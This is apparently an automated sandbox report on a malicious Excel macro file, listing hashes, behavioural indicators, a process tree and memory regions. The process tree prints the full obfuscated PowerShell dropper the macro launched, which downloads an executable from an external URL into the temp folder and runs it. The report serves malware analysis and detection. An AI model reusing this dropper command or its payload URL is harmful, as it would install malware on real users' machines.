5988de02b33b85a699c9bf68889973ab8b58a08296fa0ee3eeef4102d6ff84f2

Analysis

max time kernel
62s
max time network
13s
platform
windows7_x64
resource
win7v200722
submitted
23/10/2020, 09:35

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General

Target
c1.xlsm
Size 390KB
Sample201023-2qcllphdae
SHA256 5988de02b33b85a699c9bf68889973ab8b58a08296fa0ee3eeef4102d6ff84f2
MD5 4d0da2aab938b19f8a1cee89dcedca81
SHA1 e491170133c950f011f927bece93369ff8a641af
SHA512 3e10e5506b321a7f8bc5a70cfeac366c333321b3fee74301bd6d487bd5ab13fb2f275dd2c81cc7a55ed3af71308dc0b377a354c06794df933d09960a9575f7cb
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://u.teknik.io/Zrnp7.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1636	1884	Powershell.exe	26

Blacklisted process makes network request 1 IoCs

flow	pid	Process
6	1636	Powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
540	UXyfYwUEI.exe
1424	UXyfYwUEI.exe

Loads dropped DLL 10 IoCs

pid	Process
540	UXyfYwUEI.exe
1424	UXyfYwUEI.exe
1424	UXyfYwUEI.exe
1424	UXyfYwUEI.exe
1424	UXyfYwUEI.exe
1424	UXyfYwUEI.exe
1424	UXyfYwUEI.exe
1424	UXyfYwUEI.exe
1424	UXyfYwUEI.exe
1424	UXyfYwUEI.exe

JavaScript code in executable 2 IoCs

resource	yara_rule
behavioral1/files/0x000300000001324a-33.dat	js
behavioral1/files/0x000300000001324a-34.dat	js

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ipinfo.io

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1432	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1636	Powershell.exe
1636	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1636	Powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1432	EXCEL.EXE
1432	EXCEL.EXE
1432	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1636 wrote to memory of 540	1636	Powershell.exe	32
PID 1636 wrote to memory of 540	1636	Powershell.exe	32
PID 1636 wrote to memory of 540	1636	Powershell.exe	32
PID 1636 wrote to memory of 540	1636	Powershell.exe	32
PID 540 wrote to memory of 1424	540	UXyfYwUEI.exe	33
PID 540 wrote to memory of 1424	540	UXyfYwUEI.exe	33
PID 540 wrote to memory of 1424	540	UXyfYwUEI.exe	33
PID 540 wrote to memory of 1424	540	UXyfYwUEI.exe	33

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\c1.xlsm
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1432

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell $tJHULckXJ='*.*-EX'.replace('*.*-','I'); sal nFsNhqzVZ $tJHULckXJ;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://u.teknik.io/Zrnp7.txt'',$env:temp+''\''+''UXyfYwUEI.exe'')'|nFsNhqzVZ; start-process($env:temp+'\'+'UXyfYwUEI.exe')
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1636
- C:\Users\Admin\AppData\Local\Temp\UXyfYwUEI.exe
  "C:\Users\Admin\AppData\Local\Temp\UXyfYwUEI.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:540
- - C:\Users\Admin\AppData\Local\Temp\UXyfYwUEI.exe
    "C:\Users\Admin\AppData\Local\Temp\UXyfYwUEI.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1424

Network

MITRE ATT&CK Matrix

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Downloads

memory/1432-0-0x0000000006680000-0x0000000006780000-memory.dmp

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memory/1432-1-0x0000000006680000-0x0000000006780000-memory.dmp

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memory/1432-2-0x0000000006680000-0x0000000006780000-memory.dmp

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memory/1636-7-0x00000000026F0000-0x00000000026F1000-memory.dmp

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memory/1636-5-0x000000001AD60000-0x000000001AD61000-memory.dmp

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memory/1636-6-0x00000000023B0000-0x00000000023B1000-memory.dmp

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memory/1636-4-0x0000000001EA0000-0x0000000001EA1000-memory.dmp

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memory/1636-8-0x000000001B610000-0x000000001B611000-memory.dmp

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memory/1636-3-0x000007FEF1D60000-0x000007FEF274C000-memory.dmp

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memory/1636-9-0x00000000028C0000-0x00000000028C1000-memory.dmp

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memory/1636-12-0x000000001ABF0000-0x000000001ABF1000-memory.dmp

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memory/1636-24-0x0000000002900000-0x0000000002901000-memory.dmp

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memory/1636-25-0x000000001AA50000-0x000000001AA51000-memory.dmp

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memory/1636-26-0x000000001C760000-0x000000001C761000-memory.dmp

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